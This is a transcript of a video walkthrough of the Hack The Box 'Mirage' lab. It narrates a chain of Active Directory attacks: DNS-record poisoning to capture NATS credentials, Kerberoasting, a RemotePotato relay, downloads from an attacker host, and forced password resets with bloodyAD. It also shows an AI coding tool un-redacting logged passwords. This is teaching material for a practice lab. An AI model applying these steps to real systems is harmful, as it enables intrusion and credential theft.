HackTheBox - Mirage
Key Takeaways
This video demonstrates a cybersecurity attack on a Windows Box using various tools and techniques, including nmap, NFS, NSUpdate, NATS Server, and Bloodhound.
Full Transcript
What's going on YouTube? This is Ippsec. I'm going to do Mirage from Hack The Box, which is a really fun box but can also be summed up with yet another credential cuz we have a lot of hops to go through. It starts off with reading some documents on an NFS share that points to an insecure DNS configuration and the NATS message broker being utilized. We put a malicious DNS update to take over the NATS subdomain and have clients authenticate to our server, which gives us their credential. We use this credential to log into the legitimate NATS service, discover some saved messages thanks to Jetstream, which contains yet another credential. This allows us to Kerberos the domain, which gets another credential. This one gives us the WinRM access and we discover a user is logged into the box. We can use Remote Potato to perform a cross-session relay attack that tricks that logged-in user to connect to our server and give us a Net NTLMv2 hash, which gets us yet another credential. This user can take over another user via the force password change, but that user has is disabled and they also have no logon hours. So, once we fix all that, it gets us yet another credential. That user can read group managed service account passwords, which you guessed it, lets us get yet another credential, opening up the ability to perform AD CS ESC 10, which is a tricky certificate service exploit to discover because it's a misconfiguration on the server, not the certificate template, but there's a lot to be said here, so let's jump in. As always, I'm going to start off with an Nmap, so -sc for default scripts, -sV enumerate versions, -vV for double verbose. This gives us things like the TTL OA output off for mass playing the Nmap directory and call it Mirage, and then the IP address of 10.10.11.78. This can take some time to run, so I've already ran it. Looking at the results, we have 13 ports open, it looks like. The first one being DNS on port 53, and its banner says it's Simple DNS Plus. And I know there's a lot of output here, but whenever I see Simple DNS Plus, I always like scrolling down to something LDAP related and confirming it is Windows Active Directory. It's also giving us the domain name of mirage.htb, so I'm going to add this to my host file, so sudo vi /etc/hosts. We can add 10.10.11.78 mirage.htb. And then we also have the um host name of the box, which is dc01.mirage.htb, so I'm going to go ahead and add this. And it came up in a recent box, I forget exactly which one, maybe it was Valora, but you always want to put the fully qualified name in first because that's how your machine's going to resolve an IP, and the fully qualified is normally the correct way to do it, especially in Kerberos land. And then I'm just going to put the host name of the box. So, now that we have that out of the way, um we can also note that we have a certificate um server here, the Mirage DC01 CA, so ADCS is probably going to be in play, but let's get back to the top of our Nmap before we get distracted. So, we have Kerberos, we have RPC bind on 111, which is a bit unique, we normally don't see um this, and we also have NFS 2049, it's telling us both on UDP and TCP. Um so, an NFS server on Windows is a little bit odd, it's just a file server kind of like SMB, but supports a lot less than SMB cuz you don't have access to like users, registry, etc., it's just files. Um so, most likely the purpose of this is some type of NAS network attached storage or something like that. Um more RPC ports, we already talked about LDAP for a little bit, uh SMB, more Kerberos stuff. Um More LDAP, which is common, so it doesn't look like any other uncommon ports. The main thing I was looking for are things like um a web server or something like that, like on port 80, 8000, whatnot, but all we have is NFS. So, I'm going to go take a look at um the NFS server, so I'm going to do a show mount and then -e for exports 10.10.11.78. And we can see there is a share, Mirage Reports, that is exported for everyone, so we're able to access that mount. Um we could do -a, and I think this will um show us everything that is mounting the server, so we see 10.10.10.40 has a mount to Mirage Reports, an NFS share, so there's potentially another share here that is just not exported to us, right? Um actually, I don't think that's true. I think the export list should show everything. Um I'm not sure exactly why NFS share is showing up. Also, this is is a odd IP cuz the box is 11.78, but something funky is going on here, that's all I can say about this. Uh let's focus on Mirage Reports. So, I'm going to make a directory called mount, and then I'm going to do sudo mount -t nfs 10.10.11.78/Mirage Reports, and I'm going to put it in this mount directory. So, it's going to take a second to mount it. Hopefully, it does mount it. Um Did it? Not yet. Um maybe it did here. There we go. So, we have it mounted and we have two PDFs. So, if we do lsla, we can see we have an incident report missing DNS record. So, if we try to copy this, let's go copy here {dot} {dot}, we can't because only the nobody user has access to this. Um And I wonder if I switch, I wonder how this is mounted. Is this version three? Um let's see. NFS 4. So, I think even if I manage to switch to nobody, I wouldn't be able to access this. Um let's see, cat /etc/passwd grep nobody, is this an actual user? Let's see, su -c or is it like you nobody? Is this how I can act run a command? Um Let's see, sudo su nobody. There's definitely a way I can run commands. Uh let's see. Okay, there we go. So, that will run a command as nobody. So, if I try to cp a PDF here, go up one directory, um it looks like it's working. Well, that's going to destroy my point I was about to make. Uh nope, there we go. Uh permission denied. And the reason why is it's mounted NFS version four, and version four, it has better um ACL checking, right? Um so, it's the server is actually looking at um the user that's coming through. If we can mount this version three, then it's going to trust the client to supply the UUID, or not UUID, the user ID. So, let's do a sudo umount on mount to unmount it. Uh we have to get out of this directory. Now we can unmount it. And then we're going to do this mount command again, but I'm going to specify an option and vers is equal to three. And this should now allow us to do this. So, we have this weird um ID here. So, if now if I try to cp this still, I can't because I am not this user ID. So, what I'm going to do is a user add, I'm going to call it fake, we'll call it faker um in honor of League of Legends. We'll just create the user faker on a box, and then we'll do a sudo vi /etc/passwd. And we need to change his ID to be this high number. So, let's go ahead and grab this. Change the UID to be that. And then I'm going to do a sudo um How did I do it before? Was it you Is this going to switch? Yep. I'm just going to cp {star}.{dot}. And uh-oh. Let's copy to /dev/shm. And I'm going to do that nobody thing again because I think what could have happened is I switched to nobody, tried to write the files up two directories, and it couldn't because I'm in my home directory. Um so, that is also possible. So, I'm going to move /dev/shm {star}.pdf here so we have them. Um Yes. Oh, wait, we have to get out of mount. There. No. Um Let's do this again. Uh we have to get out of mount. Well, this is failing all over the place. There we go. Let's issue that move command again. Um sudo move /dev/shm {star}.pdf here. sudo chown ippsec {star}.pdf. Okay. We have them. Now, the moment of truth. Is Windows NFS server going to be really wonky? So, let's do this, mount -t nfs, mounted here. This is going to be a version four mount, hopefully. So, let's just do mount. We can see version 4.1. So, I'm going to go into the mount, and then we want to do the nobody command again, but I'm going to try copying to /dev/shm where nobody should have write access to. Um let's just confirm our suspicion. grep shm Yes, that is 777. So, we should be able to write here, but we can't. Um We can fully fully confirm with touch /dev/shm/t. And we don't. sudo make dir /annoy, sudo chmod 777 this directory. Let's see. annoy/t, okay, nobody can touch this. Let's try this again. This will be the definitive proof, right? There we go. Permission denied still. So, nobody can't write there because again, that is mounted NFS version 4, and that permission denied is coming from the server, not our local box. Um hopefully, that all makes sense, but we have the PDFs now, so let's just unmount the server real quick. Um actually, before I do, I'll do a show mount {dash} A. Um show mount {dash} H. H should show me everything, right? Um if this was a Linux NFS server, I am 99% sure my IP address would be shown on this saying I have mounted the NFS on the server. Um I think Windows NFS is just like half-implemented, which would not surprise me. But now that we have the PDFs, let's go take a look. So, we're going to open the first incident report. It looks like it's a missing DNS record nats-svc, and nats is a message broker. It's also network address translation, so it could be one of those two things, or maybe a third one I don't know about. Um so, let's go take a look at exactly what this is. We got an incident report missing DNS record for the nats service. Um development team is unable to resolve this host name. So, let's go take a look if we can resolve it real quick. So, I'm going to do a nslookup. We'll do server 10 10 11 78. I probably should have used dig for this, but I just know the nslookup syntax better, right? Uh we can't find anything there. If I do mirage.htb, yes, it does find it. So, right here, we just confirmed uh we are talking to the the active directory server, and here we don't have a record for um nats. So, let's see what else we have. There is a timeline uh saying like clients can't reach the nats-service.mirage. Um right here is a screenshot showing nats service running on port 4442. So, let's take a look at if this is actually open on the box itself. So, I'll do a nc {dash} zv 10 10 11 78, and then 4442. Uh if I can type, there we go. And that is open. The reason my Nmap didn't see it is just because it's not one of the top 1,000 ports that I scan for. Uh you probably should be doing a full port scan every time after the top 1,000. I just find it takes a long time, and I'm impatient. So, let's see. Uh we have nats running. We'll talk about nats in a minute. I just want to get through the rest of this incident report. Um they're talking about the DNS mapping, probably of how to add it. And then here, we're seeing dynamic updates for the DNS is set to non-secure and secure. And this to me is indicating that um anyone can edit DNS records. And I see this quite often in organizations that use like Unifi particularly for DHCP. I don't know why organizations wouldn't use Windows for DHCP, but if you just trust Unifi to do DHCP for your network, you normally have to also configure Unifi to update the active directory server, unless like reverse lookups are going to be all sorts of wonky. So, a lot of times to do that, they just do the easy route and say, "You know what? Let's take authentication off of DNS, so Unifi can update it." And when you do that, anyone can now create DNS records in your domain, which is obviously bad. So, we'll test for that in just a minute. Looking through this. Um They're talking about other things, and also talking about we have to monitor this domain to make sure malicious things don't get created. So, let's go ahead and see if we can update something. And you can use like the Python um add DNS record out of the Carib RelayX package, but that's going to take me a little bit to download and set up the whole pip environment. I'm just going to test it with nsupdate first. The main reason I would use um the Python one is if I have to do authentication and like do a user account, but I don't have a user account at this point. So, uh let's just try this out. So, we'll do nsupdate, and then server 10 10 11 78. I'm going to do update add um Let's do nats-svc.mirage.htb 3600 A 10 10 14 8. And before I type send, which is going to send this request out to be created, I want to start up a netcat listener on port 4442, right? I want to see if anything connects back to me. So, we'll send this record. I can exit this, or maybe it's quit. And then we can do nslookup, and what was it? Um we have to do server 10 10 11 78. And then we can look at nats-svc.mirage.htb, and we can see that is indeed pointed back at me. And we have the server connecting to us, which is awesome. Um so, now let's go ahead and stand up a nats server, right? Because here, it just connected to us and then disconnected. It didn't send us any data. So, I'm expecting the nats protocol, when it connects out, it expects the server to say hello, and then it sends a response back. So, let's go and Google um nats server GitHub, maybe? Uh this looks good. So, if you're not familiar with what nats is, it's a pub/sub message broker that focuses on like simplicity and speed. It's pretty much fire and forget um that wants like performance and low latency. There's other message brokers that you may be familiar with like RabbitMQ or Kafka. They mainly focus on like reliability and proving messages got to the intended recipient, so they have things like storage built in. Of course, with nats, you can have storage as well if you install something like JetStream, but it's not part of the core implementation of nats. So, uh look up message brokers. Uh maybe it'll make more sense once we uh work through this. But we'll do a get clone on this project, and it didn't have any install instructions, but I think I just do a go build inside of it. Um so, let's do cd nats. Um go build. Looks like it will be building. Awesome. This will probably take a minute or two to build, and then once it builds, we'll stand up the server and probably have to uh do this nsupdate again. So, let's go nats-server. Do a {dash} H. And I'm going to set this in like full debug mode, so we see every connection. So, if I do DVV, that's debug and verbose trace. Um if I just want to like see what's connecting to me, that's probably going to be the first thing I do is I just want to run this and have it as verbose output as possible. And then when I see, "Oh, this is too much information," I'll start tuning it back down, right? So, we see this here. Uh we're listening for connections on uh 4222, which is good, on all interfaces. So, let's now go and do a nsupdate again. So, server 10 10 11 78. Update add nats-svc.mirage.htb 3600, which is the time to live for the DNS record, I believe. A for an A record. And then 10 10 14 8. I know I didn't say that when I was doing it the first time. Um look up DNS records if that doesn't make sense, but that's all the default values for things. So, now we have this. We should be seeing a connection sometime soon. Uh normally, I do like a sleep 60 after I do this on Hack The Box just to wait a minute and see what happens. Um as I was talking, we saw a bunch of things. So, let's go take a look. Um Let's go to the top. So, this is where the server is ready. Uh we got a connect, and I think we sent a hello, and then the server, or the client, is sending data back to us. So, we have verbose false, pedantic false, user dev account A, and the password is redacted. Uh TLS required is set to false as well, so this is going to be plain text. Uh so, we have two options to get this password, right? We can either just edit the source code. If I probably just do like a Let's try this real quick. grep {dash} R redacted. Um we could find out where it's redacting the password. It's probably not one of the test. It's probably going to be the server. Um One of these No, there's a test. client It can't be a test case. Um We grep {dash} V test. Maybe it is then the server client. Um it's just weird that it's called that. Uh Let's try this. If this is easy enough to do, um redacted pass is equal to byte Let's do something really stupid. redacted pass So, make it equal to itself cuz I don't want to have to replace um this in other places. We could probably just return redacted pass, but I think this is the least amount of code. Um undefined? I forget what this was. Um Shoot. Yeah, that's definitely undefined. Um Is it buff? I've already screwed this up. Um I'll probably just go the route I was doing. Uh let's see. Get diff. Will this show me the difference? Um It is redacted, so we're replacing it with a string. Oh my god. Why did I go down this route? I feel like because I went down this route, I have to complete it, right? redacted I wish I was in an IDE instead of Vim right now. Um, let's see. What is calling this? Redact. Uh, maybe we just want to look at what calls it. So, we'll do byte redacted. So, we don't change this file anymore. grep {dash} R redact. grep {dash} V test cuz I don't want any test cases. Um, let's see. Server opt accounts. I wonder if I can grep also for pass. And let's see. Um, server util client. Maybe that. I think this is This is getting a bit much. Um, if you want to, it's a good thing for you to um, try out. Uh, actually let's see this real quick. Uh, yes. I'm going to test Cloud Code real quick. Um, I do not want the password to be redacted when it's uh, on stdout. Let's just see what goes on here. Um, I'm going to pause the video, let this finish, and maybe Cloud Code will uh, fix it for us. Okay, it's telling me it has done it. Um, it's updating server util. And maybe it's doing it. I'm just going to trust it to make this change. And we're going to try building it and see if it magically just works. If it doesn't work, I'll probably leave this in the video just because it's always nice to see when AI fails us because we no longer feel like um, our job's going to be taken away. But when it actually does it, that's when I start to get worried, right? So, um, we're just rebuilding the project now. I'm going to uh, start this back up. Uh, let's do {dot} {slash} NAT server D. All those V's. We're going to send this DNS record again, and I'm really curious on the results of this. So, we can do send. And I guess while we wait, I'm going to do pseudo Wireshark. And we're going to look at tun0. Hopefully I can catch this in time. Uh, tun Oh, no. Not bridge. I probably do now missed the authentication. Uh, where is tun0? Oh my god. Why does that keep changing where I'm clicking? Enter. There. Okay. So, it did connect back to us. Um, I'm just going to update and send again. So, hopefully while we're looking at this data it already um, gets us the information we want in Wireshark. So, let's see. Is it already? And where is the user? For various pedantic, it is still redacted. I am glad. Um, dev account. I don't see a See, it was lowercase pass. Yeah. So, looks like it is still redacted there, which I am thankful for. Do we have anything in Wireshark? It looks like this is 422. So, I'm just going to follow TCP stream. And if we look at it in Wireshark, we can indeed see the user dev account A, and here's the password. So, let's go ahead and um, V creds.text. I'm going to put this here. We can put this password in case we need to reference it again. There we go. So, if this wasn't a clear text protocol, I would have to probably look more at the source code to modify it in order to make it not redact passwords, but because it is clear text, it's always easiest to just grab it on Wireshark. Um, hopefully you found value in trying to show both, and also value in AI failing there. Um, but yeah. So, let's now uh, what do we want to do? Um, let's see. We probably want to connect to that. So, we should go over to Google, and then we're going to search for a NATS client. So, we can start using this. Uh, docs download nats.go. This is probably it. And the NATS client has a slightly different install instruction. We can just do a go get. So, if I go get this, um, it's go install, not go get, right? Go get nats.go at latest. Go mod not found in directory. Is it go? I think it's go install. Installation. I am 90% sure I did. I know I have the client installed. So, if I do like which NATS, um, I have ipsec go bin NATS. And I would thought I did grep latest. Is it in my history? Go install. Isn't what I did? How is this different from the last? Oh, NATS CLI. I'm on a different package. So, you want to Google NATS um, client CLI. And then this is what you want to build. Awesome. Uh, so if we do a go install here, it will install the package for us. Um, yeah, looks like it installed. So, if I just do a NATS now, we have the CLI installed. And what I'm going to do first is I'm going to set up a context. And what that's going to do is essentially um, save a connection for us so I don't have to specify the username and password every command I run. So, if I do a NATS context add. This name doesn't matter, so I'm just going to do please subscribe. And then we'll do user dev account A. And then password of whatever a password is here. Let's do a quit. Cat creds. Did not save it. I don't uh, maybe I did a NATS server creds.text. Awesome. Let's go ahead and grab this password. Save it. And then we're going to do server. I think it's NTS, and then 10.10.11.78 port 4 222. And we can see uh, NATS configuration context please subscribe has been saved with all these um, credentials. So, now in order to use this, all I have to do is say NATS context please subscribe. And now I no longer have to enter all the authentication information. So, if we just do {dash} um, I thought {dash} H would tell me. Yep, here we go. Uh, we could do like account and test this. So, if we do account info, we can see information about this, right? So, account limits, we can send 1 megabyte messages. Um, there is one stream currently, and this is JetStream. So, JetStream is a storage thing. So, we can save previous messages. Um, I'm guessing the main purpose of that would be like a client connects to you, you want to make sure they get a few messages. That's what JetStream would be. Um, with just NATS itself, the client connects to you, they're not going to get any messages until new messages get in the queue. So, if we do a um, stream, cuz a stream is like a channel. Uh, if we do {dash} H, I think it's stream LS. Is it streams? Um, let's see. I could swear. Is there a stream command? There is. What is the error saying? NATS cheat for a quick cheat sheet. Stream. I had a typo. Go figure. So, here's all the stream commands. So, we can like do add to add a new stream, list streams with LS, find, info, state, RM, purge, view. View sounds good. Um, get, we could also get messages. But if I just do stream view, we have a off log stream, and if I click that, then we have messages in this. We have David Jackson and a password. Um, also the IP address of 10.10.10.20. So, this is our first potential like actual account. What's going on? This is It from the future. And after recording this video, OXDF had told me uh, I'm a horrible vibe coder, and even he couldn't understand the prompt I was asking the AI. So, I decided, let's take another stab at this, right? I have it set up right now where I'm just running the NATS server. I cloned a new copy, so this is completely new. It hasn't been changed. And this command down here is just going to log in and publish a test message. So, if I scroll up here, we can see the password is still redacted. And if I do a get diff, we'll see there are zero changes to this directory, right? So, let's open up Cloud again, and we're going to be a bit more specific. So, I'm going to say currently the password is replaced with redacted in trace logging, I want it to display the password. So, let's see if this is a bit more specific, right? I'm telling it exactly what I want. This is going to be the string. So, if it searches the code for the string, it's going to find it. So, here we go. The first step, let me search for where this replacement is happening. And it does like regexes and things like that to find exactly it. The other thing is, I gave it the clue that it happens when I'm in trace logging. Maybe I could have tested debug logging as well to see if the password is being displayed, but hopefully this should be enough to tell it exactly what I want. So, now let's see. It searched the pattern. It's looking for the actual implementation. And is this it? Uh let's see. This is redacted. I think this is what it did before. Um say do it again. I want to say there was a function like secret trace logging, but I may be wrong. Let's see. This is definitely um the exact function. Here we go. The byte string redacted. So, that looks good. I don't know exactly what this one is, but we're going to make the change anyways. And then I'm just going to do a get diff after this is done to see all the changes it made. I mean, it's telling us here, but I find um it may be a bit easier. It's telling us we simplify the redact function to return the original um proto without redacting off. Change get name to the actual token. So, this may be um like secrets when starting it. So, if we just exit this, uh get diff, we can see the changes. So, it went into this redact function and is changing everything. Um Let's see. If I do a grep -r redact, I want to see exactly where this is called if this brings back a lot of stuff. Um doesn't really. But let's now do a go build. And then we're going to run it, and we're going to see if it's still redacted. So, maybe this was enough to fix it. Hopefully it is. Um it shouldn't take too much longer to build. Let's go back down here, stand up a uh message, and then I'm just going to hit up a few times, so we go to the snap server. Run it again. And let's see. There we go. The password is please subscribe on standard out. So, if you're a bit better of I code than me, this was definitely an easy task for just asking Cloud or whatever the AI is to update it and remove that reduction. So, with that being said, let's get back to the video where we took a credential out of the stream view, and then um we're about to play it with net exec to see if it's a valid domain credential. I'm going to try a nxc smb 10.10.11.78 username of David Jackson and the password of this. I'll put the password in quotes. And we get not supported. And that's because NTLM authentication is disabled. So, I'm going to do a sudo ntpdate to sync my time before I do anything Kerberos related. And then we're going to add a -k to a request. And there we go. We have authentication to the domain. We could add like a dash dash shares to see open file shares to see if like SMB has a file share here. And then I'm probably just going to run BloodHound and see if there is any BloodHound type of data. So, we don't see any new file shares. So, let's just do BloodHound. So, we'll do BloodHound CE domain mirage.htb user David Jackson password of Let's get the password. Copy this. Paste. And then I'm going to add -z, so we get a zip file. And I have fixed um BloodHound. There was always one um JSON file that always gave a error when importing. I went in the BloodHound PRs. Uh let's see. If we go BloodHound CE issues, we change this. Let's see. Where is it? I think it was this issue. Um there's information about it here, but I put in a PR and got that fixed. So, now we can use zips with BloodHound. Um it was the domain file that was giving an issue with a blank um organ a blank ID somewhere. You'd have to go into the actual issue. But let's go ahead and uh go to Mirage. Then go to the zip. Upload. Close. And I think it's probably going to mark this as failed. I always have bad luck when I try to upload things and I'm not on this page. And that goes to failed and I have to do it again. But nope, there we go. It is completed. So, now let's go over to explore, and we can say David Jackson. So, let's see what this user has. So, clicking here, go to outbound object control. Uh we can enroll in some certificates, but there's really not much here, right? We don't really have a good attack path. Uh we could mark them as owned, and then another thing I like doing is the cipher query and saying shortest paths uh from owned objects. And just see if this pops up anything. Um does not look like it. Looks like the same thing. David Jackson member of domain users. Member of everyone. Don't know what claim special identity is. That is a unique edge. Uh general. Obtain a Not sure. But given it's under authenticated users everyone, I'm assuming it's not really that special. So, we don't really have too much to go on. We go other saved queries. Um this does tell us all Kerberoastable accounts. So, let's do Kerberoast. So, we'll show all Kerberoastable users. Click run, and we have one. That is going to be the nathan. um aadm account is going to be or Adam is Kerberoastable. So, let's switch over to net exec again. And I'm going to do a ldap. And then we're going to add dash dash Kerberoast, and we'll say kerbyroast.out. And see if we get anything. This ldap is taking a while. I'm not sure why. Ping 10.10. 11.7 Oh, there we go. We have a record here. So, let's go ahead and copy this hash. And then I'm going to go over to the Kraken where we can attempt to crack it. So, let's do ssh Kraken. The uh let's go into hashcat. The hash is this is mirage. I'll call it KRB. Uh that's not the right clipboard. That is. And then dot slash hashcat the hash file opt wordlist rockyou. And we'll start trying to crack it. Uh it looks like we need to specify the hash type, which is going to be Kerberos, not that Python generic. And almost immediately it cracks. And we get that password of 3edc, and then looks like a pound edc3. So, let's go ahead and the threads.text. That was Nathan Adam. Put in that. And I think we have nxc here, right? Yep. So, let's try this credential. Nathan Adam. Delete. Put this in. See if we have everything. Do we authenticate? We do. Awesome. So, let's go back to BloodHound. We can search for our new user of Nathan. And we're going to do the same thing we just did, right? So, Nathan Adam. Outbound object control. Pretty much the same thing. Let's add to owned. Cipher. Um saved. Shortest paths from owned objects. Let's rerun this query. And we are getting one new one. We have Nathan Adam as member of exchange admins. Doesn't seem to do much with that. But also member of IT admins. That is a member of remote management users. So, Nathan is able to use WinRM to get on this box. Now, the net exec, at least the net exec I have, I'm not sure if they've added it yet, doesn't support checking WinRM with Kerberos, unfortunately. Um that being said, we can just do a get TGT.py. Uh, let's do Actually, before we do this, let's change it to SMB. I'm going to do a generate uh, KRB5 file. I'm going to call it mirage.krb. And then we're going to copy this file. We need a dash K. Over top of our Kerberos config, so our Linux machine knows how to talk to the domain, right? So we can CP mirage.krb /etc/ krb5.conf. Copy that. So, now what I want to do Oh, we wanted to get TGT. Uh, so that's get ticket granting ticket, um, mirage.htb Nathan Adam, is it? Yep. And then the password. Let's just get this password out here. Copy, paste. Put it in. And this should give me a Ccache file. So now we should be able to do KRB5CCNAME is equal to Nathan Adam evil WinRM {dash} I DCO1. {dot} mirage.htb and then realm is mirage.htb. So that should let us use Kerberos to log into this box. Awesome. So now we have a shell here. Um, if we I probably should have looked at LS on documents. Uh, let's just do a tree {dash} F or {slash} F to look at files. We have user.text here. There's not too much interesting. We could do things like pill HD Pappy and things like that. Um, but if I run a get process to list running processes on the box, I will notice something odd. We do have explorer with a session ID of one. This probably means someone is logged into the box. Now, I'm a remote user, so I don't have a lot of weird permissions. Um, is it QWinsta? That will show like locally logged in users. Um, that just killed my whole WinRM connection. But no session exists for star, and this is a permission error. I want to say if I run um, is it task list the command snippet instead of get process, this would also fail. Yeah, access denied. So because I'm a remote user, I don't have permission to do a lot of things. That being said, since I know the credential to this, um, we could just run um, runas to get a shell running as a local user. So let's do that real quick. We'll do make dir dub dub dub, CD dub dub dub. Um, CP opt um, SharpCollection net framework 4.5 any runas, and I'll call it runas.exe. Uh, we have to start a web server. And then we can do wget http 10.10.14.8 8000 runas.exe output runas cs.exe. So this should save the file. And now we can do {dot} {slash} runas.exe. Uh, we need three arguments. Man, this PowerShell session is not stable. Um, I think I just need username password and then program. So let's try this real quick. Um, let's do {dot} {slash} runas.exe Nathan Adam Uh, I'm just going to do QWinsta. cmd.exe QWinsta Oh, I don't have the password. Um, 3EDC {pound} EDC3 There we go. So what I'm running this as like um, a local user on the box, not a remote service, which is what runas is doing. Uh, we can see there is a active user on the box and it's mark.bband. Uh, we could also, if you wanted to get a reverse shell, so we could just do like um, an executable {dash} R for reverse to send the output of this executable over to 10.10.14.8 now to 1001. So if we do this, um, rlwrap right? We can get a shell this way, but um, this will also QWinsta show it. If we do task list, we see that it doesn't have a error as well. Um, we don't need to do that. What we want to do is called a cross session um, account relay, I want to say. Uh, let's see. google.com cross session relay attack. There's a good post about it. Um, it was on SentinelOne. It's a relatively old attack, so it's kind of fallen down. Uh, SentinelOne I would recommend if you want more things or like more reading, this post. Um, but I can't find it. Shoot. Relaying potatoes, is this it? Do they have a mitigation here? Let me look at the mitigation. Let's see. I think this is it. So I want to say this blog post is good. But essentially what we're going to do is use a weird RPC to force another user session to make a request. And in order for this to work when it's beyond Windows 2016, you actually have to do a weird thing with socat to forward a port. Um, when we get there, I'll try to explain it as we go. Um, but it's a weird attack. It's hard to understand, easy to pull off. Wait, like most Windows attacks, right? I think Decoder is the one that made this. Is this off his repo? I'm I want to say that's Decoder. Uh, I believe it is. But I may have split the code. I see that name a lot. Whoever made this attack is really good. Um, but yeah, let's just do uh, 7z x remote potato. Um, let's upload this. So let's do wget http 10.10.14.8 8000 remote potato save it. I don't have the web server up. Let's copy this whole thing because we have to do this WinRM again. I should have just like done everything through the runas console cuz it's infinitely more stable, but I wanted to show you don't actually need um, the local login permission to run this type of attack. So that's why I killed that console because you don't need it. If you wanted to do it, you could also do it through like KRBRelayX, but it becomes a lot more complicated. This is the easiest way to do the cross session relay attack, right? So if we run this, we can now do it. So we want to say um, s module two, the RPC capture hash plus potato trigger. And we'll do {dash} m2. The remote HTTP relay IP, that's going to be us, so 10.10.14.8. And then the session ID. When we did the QWinsta, the user was logged into one. Session one is almost always going to be the right session. Um, this CLSID should work. The default ones normally do. I'm going to run it. It's going to give us an error because uh, we have to run this socat. So what happened here is when Windows tried to patch it, they prevented us from um, spoofing the port or spoof is probably a bad word, changing the port it connects to cuz normally with these potato attacks, we'd change the RPC port to be like quad nine. And then tell it to connect to quad nines. Um, they prevented it, so they hardcoded what endpoint the what port the RPC service can connect to, so it's always going to be 135. But they didn't change what host. So what we're doing here is saying, okay, we're going to listen on our IP address 135 and we're going to forward that connection back to the machine on port quad nine. So that way Windows talks to us on 135, we send it back to quad nine, and we still have our ability to force a connection to I think our web service, right? So um, it's a wonky workaround. But hopefully that makes sense why we're doing this. If it's before Windows 2016, you don't have to do this because that behavior isn't there, and you can just say, "Hey, connect to um, this RPC service on port 999." And it does connect to that. Um, but yeah. So here we go. We have bent the port back to the box. So we're going to run this. Um, Windows server not compatible with juicy potato. I probably have a port wrong. Um, shoot. Let's go back. This part is right. Um, the remote potato. The arguments are probably wrong. Let's see. We probably don't do dash R. The oxid resolver IP. That's it. Um so this is what we want to change. Shoot. So let's do We'll do dash X 10.10.14.8 because the oxid resolver, that's what's listening on port 135. So we're saying, "Hey, connect to port one the oxid resolver here." And we're going to stand up a malicious oxid resolver on this port 9999. I know that's confusing. I don't know an easy way to describe it. I'm sure there's going to be like an infographic somewhere that will help. Uh we want to do session one. I don't think I need anything else, right? What did I do before? Uh we did that. I think I'm missing one argument. We want session two. Oh, we need the ID. Um What am I doing here? The module of two, the session of one. There we go. Sometimes our brain just doesn't work. Uh there we go. So now we have poison mark bond. So again, what we did was we connected to an RPC, forced mark bond to make connection to our box on port 135 that is an oxid resolver, and we forwarded that all the way back to the domain um the I guess domain controller, but it could be a workstation or whatnot. It doesn't matter what type of server it is, but we forwarded it back to itself on port 9999, and that's where we had the malicious oxid resolver actually listening. I know I probably just butchered that whole explanation, but I did it like four times. So hopefully you kind of understand some of it. All right, let's go SSH into the kraken so we can crack this so we can do CD hashcat V hashes Mirage. We'll do NTLM V 2. Sure, why not? Paste that. ./hashcat crack this opt wordlist rockyou. So hopefully this cracks pretty quickly. Um looks like it already did. And we get um mark bond's password of one day at a time. That's kind of how I feel right now doing all this um trying to explain this attack. Mark bond one day at a time. Save that. And let's go over into BloodHound. So let's go mark .bond. And then go on this account. Let's look at outbound. We have six. So we're a member of IT support that has forced change password over Javier Marshall. So we should be able to take over this account. If we look at what Javier Marshall is, the first thing that jumps to my eyes is enabled false, so it's a disabled user. Um if we look at the outbound object control there, we can read the group man service account password of Mirage service. So we can get all the way to this account, so let's do that real quick. So first off, um let's do bloody AD. Uh what is the account we're doing? I'm just going to cat creds.text so we have it. Bloody AD. And then host DCO1 mirage.htb domain mirage.htb user mark bond password one day at a time. Is that all I need? Um I'm just going to do get object mark. bond something to make sure it works. Um invalid credentials. Uh do I not have maybe I had a dash K? Okay, awesome. So now we can authenticate. So the first thing we want to do is update Javier's password, right? So I'm going to do set password Javier Marshall. And I'm just going to set to password123! Password changed successfully. So now if I do nxc ldap 10.10.11.78 user Javier Marshall. And the password of password123! We're going to get a failure. Of course we need Kerberos to test it out. But client revoked. So that doesn't work. Again, we already saw this account was disabled, right? We saw that in BloodHound. We could also just do like a get object. So if I do get object Javier Marshall, we can see the user account control is account disabled. So let's go ahead and remove that. So what we want to do is um remove UAC Javier Marshall. And I think it's account disable. I need a double C there. There we go. So we removed that flag. So now if I get object we are normal account don't expire. So now if I try to log in, we still get client revoked. So there's something else that is preventing logins. Um if we look back at this output, we can go through. Uh we're a member in the disabled OU. So maybe there's something that's preventing this OU from being able to log in. That's something that's interesting, right? Um what else do we have? If I keep scrolling down, we see logon hours. Logon hours are blank. I don't know what that means, right? Does that mean there's no acceptable logon hours or known, right? The easiest way to identify whenever you have like something you don't know is just try it against something you do know, right? We know mark bond can log in. So if I do a search here and let's just grep for hour, we see all slashes. Which is odd, right? Um let's go back to Javier Marshall. Um binary. What? It's blank. I wonder if this is Is that not just displaying? Nope, it's all null bytes. I thought maybe it had special characters I couldn't see. Um I don't know where that binary output's coming from this account. But we can see these are definitely different. Um this is actually base64 encoded because it's showing a byte stream. It It's really odd behavior, but that's just empty, right? If I do xxd on this, it's all s's. Um I think this means like it's actually a binary stream of times, and this just means we can always log in. Um and if I go to bloody AD, this is what I did next. And there's a second way we'll be able to identify this, right? Um so I always like to emphasize the recon um showing showing the way I found it first, but there's also another way we can find out that we have to modify logon hours. Um let's go to issues. I'm just going to say logon hours. Now here's an issue talking about like setting it, right? Um This is how they used to set to set it like a weird variable. Um attribute login. Let's try this real quick. It's funny. It's actually this box, Javier Marshall. I did not notice that when solving it. Um that's honestly funny. I think they tried to censor it somewhere. I remember seeing it set Yeah, redacted redacted. Um that's definitely hack the back hack the box IP mark bond we see here. Um so yeah, this is definitely a issue created because of this box, which I find cool. Um let's see. They did Uh where is that get object? Get object. So I can specify attributes that like that instead of grepping. So that's nothing. Let's see what mark bond looks like. Still like that. Okay. Um So the get object doesn't really tell us too much, but the set object does. So they want to set object John logon hours. They do the dash V, set the blank, and then give it the dash dash B64 flag. So that's how we can set this raw byte stream object to it. Because if I did set object Javier Marshall, I want to say I just do logon hours dash V. If we try to set this, it's probably going to error. Uh we get this not supported. But if I do this dash dash B64 flag, log Javier Marshall's logon hours has been updated. So let's try this again. It may have been enough time where this account went back to disable. Uh nope, it didn't. So now we can successfully log in. So I'm going to do a get TGT really quick on this account so we can get an access and then like something disables the account. We had a valid TGT before it was disabled, and we can keep using it, I believe. So we'll do mirage.htb Javier Marshall. And then password 1 2 3 bang. There we go. Um if you don't have this {dash} {dash} b64 flag, uh make sure bloody AD is updated. Uh I had that issue when I was initially solving the box. 